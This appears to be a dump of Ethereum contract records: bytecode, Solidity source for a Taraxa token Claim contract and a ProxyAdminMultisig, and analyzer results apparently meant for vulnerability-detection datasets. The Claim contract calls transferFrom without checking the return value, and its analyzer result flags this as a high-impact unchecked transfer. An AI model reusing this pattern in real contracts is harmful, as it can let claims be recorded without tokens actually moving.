fffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ebc82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2190919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000611fff82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2190919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600190509291505056fea265627a7a72315820386af8ff22eed7d090a6803e1329c1e0782625c3357515e4d2e7a0531261ec0764736f6c634300050b0032
|
{"success": true, "error": null, "results": {}}
| 9,467 |
0xf142eb87f0a5c480c8b573c3e5279043822ac10b
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
revert("ECDSA: invalid signature length");
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return recover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover-bytes32-bytes-} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value");
require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* replicates the behavior of the
* https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`]
* JSON-RPC method.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
/**
* @dev Taraxa Claim Contract
*
* The Claim Contract is used to distribute tokens from public sales and bounties.
*
* The signature contains the address of the participant, the number of tokens and
* a nonce.
*
* The contract uses ecrecover to verify that the signature was created by our
* trusted account.
*
* If the signature is valid, the contract will transfer the tokens from a Taraxa
* owned wallet to the participant.
*/
contract Claim {
IERC20 token;
address trustedAccountAddress;
address walletAddress;
mapping(bytes32 => uint256) claimed;
/**
* @dev Sets the values for {token}, {trustedAccountAddress} and
* {walletAddress}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor(
address _tokenAddress,
address _trustedAccountAddress,
address _walletAddress
) {
token = IERC20(_tokenAddress);
trustedAccountAddress = _trustedAccountAddress;
walletAddress = _walletAddress;
}
/**
* @dev Returns the number of tokens that have been claimed by the
* participant.
*
* Used by the Claim UI app.
*/
function getClaimedAmount(
address _address,
uint256 _value,
uint256 _nonce
) public view returns (uint256) {
bytes32 hash = _hash(_address, _value, _nonce);
return claimed[hash];
}
/**
* @dev Transfers the tokens from a Taraxa owned wallet to the participant.
*
* Emits a {Claimed} event.
*/
function claim(
address _address,
uint256 _value,
uint256 _nonce,
bytes memory _sig
) public {
bytes32 hash = _hash(_address, _value, _nonce);
require(ECDSA.recover(hash, _sig) == trustedAccountAddress, 'Claim: Invalid signature');
require(claimed[hash] == 0, 'Claim: Already claimed');
claimed[hash] = _value;
token.transferFrom(walletAddress, _address, _value);
emit Claimed(_address, _nonce, _value);
}
function _hash(
address _address,
uint256 _value,
uint256 _nonce
) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(_address, _value, _nonce));
}
/**
* @dev Emitted after the tokens have been transfered to the participant.
*/
event Claimed(address indexed _address, uint256 indexed _nonce, uint256 _value);
}
|
0x608060405234801561001057600080fd5b50600436106100365760003560e01c80632ada8a321461003b5780635ea6bda11461012a575b600080fd5b6101286004803603608081101561005157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803590602001906401000000008111156100a257600080fd5b8201836020820111156100b457600080fd5b803590602001918460018302840111640100000000831117156100d657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050610196565b005b6101806004803603606081101561014057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050610475565b6040518082815260200191505060405180910390f35b60006101a38585856104a3565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166101e882846104fe565b73ffffffffffffffffffffffffffffffffffffffff1614610271576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f436c61696d3a20496e76616c6964207369676e6174757265000000000000000081525060200191505060405180910390fd5b60006003600083815260200190815260200160002054146102fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f436c61696d3a20416c726561647920636c61696d65640000000000000000000081525060200191505060405180910390fd5b83600360008381526020019081526020016000208190555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1687876040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156103e357600080fd5b505af11580156103f7573d6000803e3d6000fd5b505050506040513d602081101561040d57600080fd5b810190808051906020019092919050505050828573ffffffffffffffffffffffffffffffffffffffff167f987d620f307ff6b94d58743cb7a7509f24071586a77759b77c2d4e29f75a2f9a866040518082815260200191505060405180910390a35050505050565b6000806104838585856104a3565b905060036000828152602001908152602001600020549150509392505050565b6000838383604051602001808473ffffffffffffffffffffffffffffffffffffffff1660601b815260140183815260200182815260200193505050506040516020818303038152906040528051906020012090509392505050565b60006041825114610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45434453413a20696e76616c6964207369676e6174757265206c656e6774680081525060200191505060405180910390fd5b60008060006020850151925060408501519150606085015160001a90506105a0868285856105ab565b935050505092915050565b60007f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08260001c1115610629576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806107ab6022913960400191505060405180910390fd5b601b8460ff16148061063e5750601c8460ff16145b610693576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806107cd6022913960400191505060405180910390fd5b600060018686868660405160008152602001604052604051808581526020018460ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa1580156106ef573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561079e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f45434453413a20696e76616c6964207369676e6174757265000000000000000081525060200191505060405180910390fd5b8091505094935050505056fe45434453413a20696e76616c6964207369676e6174757265202773272076616c756545434453413a20696e76616c6964207369676e6174757265202776272076616c7565a264697066735822122049b818fb03de36411acf6eb9462d687095549381fd31cbccac9ae425ac1324df64736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 9,468 |
0xe6b5c8277488530a0ed057c74cf0c2fc2e783470
|
/**
*Submitted for verification at Etherscan.io on 2020-09-23
*/
pragma solidity ^0.5.16;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
contract MultiOwnable is
Initializable
{
uint public constant GRACE_PERIOD = 14 days;
uint public constant MINIMUM_DELAY = 15 seconds;
uint public constant MAXIMUM_DELAY = 30 days;
struct VoteInfo {
uint32 timelockFrom;
uint32 votesCounter;
uint64 curVote;
mapping(uint => mapping (address => bool)) isVoted; // [curVote][owner]
}
mapping(bytes => VoteInfo) public votes;
mapping(address => bool) public multiOwners;
uint public multiOwnersCounter;
uint public minVotes = 2; // initial value
uint public delay = MINIMUM_DELAY; // initial value
event QueueVote(address indexed owner, bytes data);
event TxTimelockStart(bytes data, uint32 start);
event CancelVote(address indexed owner, bytes data);
event ExecuteVote(bytes data);
event NewMinVotes(uint newMinVotes);
event NewDelay(uint newDelay);
event MultiOwnerAdded(address indexed newMultiOwner);
event MultiOwnerRemoved(address indexed exMultiOwner);
modifier onlyMultiOwners {
// hook instead of using huge main modifier
if (_onlyMultiOwnersCall()) {
_;
}
}
modifier _onlyMultiOwnersHelper {
address account = msg.sender;
bytes memory data = msg.data;
require(multiOwners[account], "Permission denied");
uint curVote = votes[data].curVote;
uint32 curTimestamp = uint32(block.timestamp);
// vote for current call
if (!votes[data].isVoted[curVote][account]) {
votes[data].isVoted[curVote][account] = true;
votes[data].votesCounter++;
emit QueueVote(account, data);
if (votes[data].votesCounter == min(minVotes, multiOwnersCounter)) {
votes[data].timelockFrom = curTimestamp;
emit TxTimelockStart(data, curTimestamp);
}
}
// execute tx
if (votes[data].votesCounter >= min(minVotes, multiOwnersCounter) &&
votes[data].timelockFrom + delay <= curTimestamp &&
votes[data].timelockFrom + delay + GRACE_PERIOD >= curTimestamp
){
// iterate to new vote for this msg.data
votes[data].votesCounter = 0;
votes[data].timelockFrom = 0;
votes[data].curVote++;
emit ExecuteVote(data);
_; // tx execution
}
}
// ** INITIALIZERS **
function initialize() public initializer {
_addMultiOwner(msg.sender);
}
function initialize(address[] memory _newMultiOwners) public initializer {
require(_newMultiOwners.length > 0, "Array lengths have to be greater than zero");
for (uint i = 0; i < _newMultiOwners.length; i++) {
_addMultiOwner(_newMultiOwners[i]);
}
}
// ** ONLY_MULTI_OWNERS functions **
function addMultiOwner(address _newMultiOwner) public onlyMultiOwners {
_addMultiOwner(_newMultiOwner);
}
function addMultiOwners(address[] memory _newMultiOwners) public onlyMultiOwners {
require(_newMultiOwners.length > 0, "Array lengths have to be greater than zero");
for (uint i = 0; i < _newMultiOwners.length; i++) {
_addMultiOwner(_newMultiOwners[i]);
}
}
function removeMultiOwner(address _exMultiOwner) public onlyMultiOwners {
_removeMultiOwner(_exMultiOwner);
}
function removeMultiOwners(address[] memory _exMultiOwners) public onlyMultiOwners {
require(_exMultiOwners.length > 0, "Array lengths have to be greater than zero");
for (uint i = 0; i < _exMultiOwners.length; i++) {
_removeMultiOwner(_exMultiOwners[i]);
}
}
function setMinVotes(uint _minVotes) public onlyMultiOwners {
require(_minVotes > 0, "MinVotes have to be greater than zero");
minVotes = _minVotes;
emit NewMinVotes(_minVotes);
}
function setDelay(uint _delay) public onlyMultiOwners {
require(_delay >= MINIMUM_DELAY, "Delay must exceed minimum delay.");
require(_delay <= MAXIMUM_DELAY, "Delay must not exceed maximum delay.");
delay = _delay;
emit NewDelay(_delay);
}
function cancelVote(bytes memory _data) public {
address account = msg.sender;
require(multiOwners[account], "Permission denied");
// check vote data
uint curVote = votes[_data].curVote;
require(votes[_data].isVoted[curVote][account] && votes[_data].votesCounter > 0, "Incorrect vote data");
// cancel current vote
votes[_data].isVoted[curVote][account] = false;
votes[_data].votesCounter--; // safe
emit CancelVote(account, _data);
}
// ** INTERNAL functions **
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function _onlyMultiOwnersCall() internal _onlyMultiOwnersHelper returns (bool success) {
success = true;
}
function _addMultiOwner(address _newMultiOwner) internal {
require(!multiOwners[_newMultiOwner], "The owner has already been added");
// UPD states
multiOwners[_newMultiOwner] = true;
multiOwnersCounter++;
emit MultiOwnerAdded(_newMultiOwner);
}
function _removeMultiOwner(address _exMultiOwner) internal {
require(multiOwners[_exMultiOwner], "This address is not the owner");
require(multiOwnersCounter > 1, "At least one owner required");
// UPD states
multiOwners[_exMultiOwner] = false;
multiOwnersCounter--; // safe
emit MultiOwnerRemoved(_exMultiOwner);
}
}
// **INTERFACES**
interface IAdminUpgradeabilityProxy {
function changeAdmin(address newAdmin) external;
function upgradeTo(address newImplementation) external;
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable;
}
/**
* @title ProxyAdminMultisig
* @dev This contract is the admin of a proxy, and is in charge
* of upgrading it as well as transferring it to another admin.
*/
contract ProxyAdminMultisig is MultiOwnable {
constructor() public {
address[] memory newOwners = new address[](1);
newOwners[0] = 0x596c92A7a464acbc64Ba171f9647c39d4d755712;
initialize(newOwners);
}
/**
* @dev Returns the current implementation of a proxy.
* This is needed because only the proxy admin can query it.
* @return The address of the current implementation of the proxy.
*/
function getProxyImplementation(IAdminUpgradeabilityProxy proxy) public view returns (address) {
// We need to manually run the static call since the getter cannot be flagged as view
// bytes4(keccak256("implementation()")) == 0x5c60da1b
(bool success, bytes memory returndata) = address(proxy).staticcall(hex"5c60da1b");
require(success);
return abi.decode(returndata, (address));
}
/**
* @dev Returns the admin of a proxy. Only the admin can query it.
* @return The address of the current admin of the proxy.
*/
function getProxyAdmin(IAdminUpgradeabilityProxy proxy) public view returns (address) {
// We need to manually run the static call since the getter cannot be flagged as view
// bytes4(keccak256("admin()")) == 0xf851a440
(bool success, bytes memory returndata) = address(proxy).staticcall(hex"f851a440");
require(success);
return abi.decode(returndata, (address));
}
/**
* @dev Changes the admin of a proxy.
* @param proxy Proxy to change admin.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeProxyAdmin(IAdminUpgradeabilityProxy proxy, address newAdmin) public onlyMultiOwners {
proxy.changeAdmin(newAdmin);
}
/**
* @dev Upgrades a proxy to the newest implementation of a contract.
* @param proxy Proxy to be upgraded.
* @param implementation the address of the Implementation.
*/
function upgrade(IAdminUpgradeabilityProxy proxy, address implementation) public onlyMultiOwners {
proxy.upgradeTo(implementation);
}
/**
* @dev Upgrades a proxy to the newest implementation of a contract and forwards a function call to it.
* This is useful to initialize the proxied contract.
* @param proxy Proxy to be upgraded.
* @param implementation Address of the Implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeAndCall(IAdminUpgradeabilityProxy proxy, address implementation, bytes memory data) public payable onlyMultiOwners {
proxy.upgradeToAndCall.value(msg.value)(implementation, data);
}
}
|
0x6080604052600436106101355760003560e01c806399a88ec4116100ab578063e15c992d1161006f578063e15c992d1461067c578063e177246e146106af578063e9bca324146106d9578063f3b7dead14610720578063f92d31cf14610753578063fd17c1f41461078657610135565b806399a88ec4146104bb578063a224cee7146104f6578063b1b43ae5146105a4578063c1a287e2146105b9578063e10dddc2146105ce57610135565b80637d645fab116100fd5780637d645fab146102bc5780637e5f9260146102d15780637eff275e146102fd5780638129fc1c146103385780639524b6511461034d5780639623609d146103fe57610135565b8063204e1c7a1461013a5780632072cdd1146101895780633cc228fd1461026b5780636a42b8f8146102925780636a51b63d146102a7575b600080fd5b34801561014657600080fd5b5061016d6004803603602081101561015d57600080fd5b50356001600160a01b0316610834565b604080516001600160a01b039092168252519081900360200190f35b34801561019557600080fd5b5061023a600480360360208110156101ac57600080fd5b810190602081018135600160201b8111156101c657600080fd5b8201836020820111156101d857600080fd5b803590602001918460018302840111600160201b831117156101f957600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506108c6945050505050565b6040805163ffffffff948516815292909316602083015267ffffffffffffffff168183015290519081900360600190f35b34801561027757600080fd5b50610280610908565b60408051918252519081900360200190f35b34801561029e57600080fd5b5061028061090e565b3480156102b357600080fd5b50610280610914565b3480156102c857600080fd5b5061028061091a565b3480156102dd57600080fd5b506102fb600480360360208110156102f457600080fd5b5035610921565b005b34801561030957600080fd5b506102fb6004803603604081101561032057600080fd5b506001600160a01b03813581169160200135166109a9565b34801561034457600080fd5b506102fb610a2b565b34801561035957600080fd5b506102fb6004803603602081101561037057600080fd5b810190602081018135600160201b81111561038a57600080fd5b82018360208201111561039c57600080fd5b803590602001918460018302840111600160201b831117156103bd57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610ad5945050505050565b6102fb6004803603606081101561041457600080fd5b6001600160a01b038235811692602081013590911691810190606081016040820135600160201b81111561044757600080fd5b82018360208201111561045957600080fd5b803590602001918460018302840111600160201b8311171561047a57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610eac945050505050565b3480156104c757600080fd5b506102fb600480360360408110156104de57600080fd5b506001600160a01b0381358116916020013516610f9a565b34801561050257600080fd5b506102fb6004803603602081101561051957600080fd5b810190602081018135600160201b81111561053357600080fd5b82018360208201111561054557600080fd5b803590602001918460208302840111600160201b8311171561056657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610fff945050505050565b3480156105b057600080fd5b50610280611112565b3480156105c557600080fd5b50610280611117565b3480156105da57600080fd5b506102fb600480360360208110156105f157600080fd5b810190602081018135600160201b81111561060b57600080fd5b82018360208201111561061d57600080fd5b803590602001918460208302840111600160201b8311171561063e57600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061111e945050505050565b34801561068857600080fd5b506102fb6004803603602081101561069f57600080fd5b50356001600160a01b031661118e565b3480156106bb57600080fd5b506102fb600480360360208110156106d257600080fd5b50356111a4565b3480156106e557600080fd5b5061070c600480360360208110156106fc57600080fd5b50356001600160a01b0316611284565b604080519115158252519081900360200190f35b34801561072c57600080fd5b5061016d6004803603602081101561074357600080fd5b50356001600160a01b0316611299565b34801561075f57600080fd5b506102fb6004803603602081101561077657600080fd5b50356001600160a01b03166112f8565b34801561079257600080fd5b506102fb600480360360208110156107a957600080fd5b810190602081018135600160201b8111156107c357600080fd5b8201836020820111156107d557600080fd5b803590602001918460208302840111600160201b831117156107f657600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061130e945050505050565b6000806060836001600160a01b03166040518080635c60da1b60e01b8152506004019050600060405180830381855afa9150503d8060008114610893576040519150601f19603f3d011682016040523d82523d6000602084013e610898565b606091505b5091509150816108a757600080fd5b8080602001905160208110156108bc57600080fd5b5051949350505050565b805160208183018101805160338252928201919093012091525463ffffffff80821691600160201b810490911690600160401b900467ffffffffffffffff1683565b60365481565b60375481565b60355481565b62278d0081565b61092961138b565b156109a6576000811161096d5760405162461bcd60e51b8152600401808060200182810382526025815260200180611ebf6025913960400191505060405180910390fd5b60368190556040805182815290517f9c27644d17e35353c35727ce6522cd532e789fcb8e7917b2efc8c6acf0744feb9181900360200190a15b50565b6109b161138b565b15610a2757816001600160a01b0316638f283970826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b158015610a0e57600080fd5b505af1158015610a22573d6000803e3d6000fd5b505050505b5050565b600054610100900460ff1680610a445750610a44611c47565b80610a52575060005460ff16155b610a8d5760405162461bcd60e51b815260040180806020018281038252602e815260200180611e6d602e913960400191505060405180910390fd5b600054610100900460ff16158015610ab8576000805460ff1961ff0019909116610100171660011790555b610ac133611c4d565b80156109a6576000805461ff001916905550565b3360008181526034602052604090205460ff16610b2d576040805162461bcd60e51b815260206004820152601160248201527014195c9b5a5cdcda5bdb8819195b9a5959607a1b604482015290519081900360640190fd5b60006033836040518082805190602001908083835b60208310610b615780518252601f199092019160209182019101610b42565b51815160209384036101000a60001901801990921691161790529201948552506040519384900381018420548751600160401b90910467ffffffffffffffff169550603394889450925082918401908083835b60208310610bd35780518252601f199092019160209182019101610bb4565b51815160209384036101000a6000190180199092169116179052920194855250604080519485900382019094206000868152600190910182528481206001600160a01b0388168252909152929092205460ff169150508015610ca5575060006033846040518082805190602001908083835b60208310610c645780518252601f199092019160209182019101610c45565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922054600160201b900463ffffffff16929092119150505b610cec576040805162461bcd60e51b8152602060048201526013602482015272496e636f727265637420766f7465206461746160681b604482015290519081900360640190fd5b60006033846040518082805190602001908083835b60208310610d205780518252601f199092019160209182019101610d01565b51815160209384036101000a60001901801990921691161790529201948552506040805194859003820185206000888152600190910183528181206001600160a01b038a168252835220805460ff1916951515959095179094555050845160339286929182918401908083835b60208310610dac5780518252601f199092019160209182019101610d8d565b51815160001960209485036101000a81019182169119929092161790915293909101958652604080519687900382018720805463ffffffff600160201b80830482169097011690950267ffffffff00000000199095169490941790935580865288518682015288516001600160a01b038916967fe92e04147df9f4a8fd4884bd07192f9314f8bd0a68a64fec4dff4dc23b23a56c96508a95509384935083019185019080838360005b83811015610e6d578181015183820152602001610e55565b50505050905090810190601f168015610e9a5780820380516001836020036101000a031916815260200191505b509250505060405180910390a2505050565b610eb461138b565b15610f9557826001600160a01b0316634f1ef2863484846040518463ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610f2f578181015183820152602001610f17565b50505050905090810190601f168015610f5c5780820380516001836020036101000a031916815260200191505b5093505050506000604051808303818588803b158015610f7b57600080fd5b505af1158015610f8f573d6000803e3d6000fd5b50505050505b505050565b610fa261138b565b15610a2757816001600160a01b0316633659cfe6826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b158015610a0e57600080fd5b600054610100900460ff16806110185750611018611c47565b80611026575060005460ff16155b6110615760405162461bcd60e51b815260040180806020018281038252602e815260200180611e6d602e913960400191505060405180910390fd5b600054610100900460ff1615801561108c576000805460ff1961ff0019909116610100171660011790555b60008251116110cc5760405162461bcd60e51b815260040180806020018281038252602a815260200180611e43602a913960400191505060405180910390fd5b60005b82518110156110fc576110f48382815181106110e757fe5b6020026020010151611c4d565b6001016110cf565b508015610a27576000805461ff00191690555050565b600f81565b6212750081565b61112661138b565b156109a657600081511161116b5760405162461bcd60e51b815260040180806020018281038252602a815260200180611e43602a913960400191505060405180910390fd5b60005b8151811015610a27576111868282815181106110e757fe5b60010161116e565b61119661138b565b156109a6576109a681611c4d565b6111ac61138b565b156109a657600f811015611207576040805162461bcd60e51b815260206004820181905260248201527f44656c6179206d75737420657863656564206d696e696d756d2064656c61792e604482015290519081900360640190fd5b62278d008111156112495760405162461bcd60e51b8152600401808060200182810382526024815260200180611e9b6024913960400191505060405180910390fd5b60378190556040805182815290517f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c9181900360200190a150565b60346020526000908152604090205460ff1681565b6000806060836001600160a01b031660405180806303e1469160e61b8152506004019050600060405180830381855afa9150503d8060008114610893576040519150601f19603f3d011682016040523d82523d6000602084013e610898565b61130061138b565b156109a6576109a681611d12565b61131661138b565b156109a657600081511161135b5760405162461bcd60e51b815260040180806020018281038252602a815260200180611e43602a913960400191505060405180910390fd5b60005b8151811015610a275761138382828151811061137657fe5b6020026020010151611d12565b60010161135e565b60008033905060606000368080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201829052506001600160a01b0387168152603460205260409020549394505060ff909216915061142e9050576040805162461bcd60e51b815260206004820152601160248201527014195c9b5a5cdcda5bdb8819195b9a5959607a1b604482015290519081900360640190fd5b60006033826040518082805190602001908083835b602083106114625780518252601f199092019160209182019101611443565b51815160209384036101000a60001901801990921691161790529201948552506040519384900381018420548651600160401b90910467ffffffffffffffff169550429460339450879350918291908401908083835b602083106114d75780518252601f1990920191602091820191016114b8565b51815160209384036101000a6000190180199092169116179052920194855250604080519485900382019094206000878152600190910182528481206001600160a01b038a168252909152929092205460ff16915061188290505760016033846040518082805190602001908083835b602083106115665780518252601f199092019160209182019101611547565b51815160209384036101000a60001901801990921691161790529201948552506040805194859003820185206000898152600190910183528181206001600160a01b038c168252835220805460ff1916951515959095179094555050845160339286929182918401908083835b602083106115f25780518252601f1990920191602091820191016115d3565b51815160001960209485036101000a01908116901991909116179052920194855250604080519485900382018520805463ffffffff600160201b80830482166001019091160267ffffffff000000001990911617905581855287518583015287516001600160a01b038a16957f50a214e7390c546178a5b1d38d990ba02203baafc51416659e499fd3e562656e95508994509283928301919085019080838360005b838110156116ac578181015183820152602001611694565b50505050905090810190601f1680156116d95780820380516001836020036101000a031916815260200191505b509250505060405180910390a26116f4603654603554611e29565b6033846040518082805190602001908083835b602083106117265780518252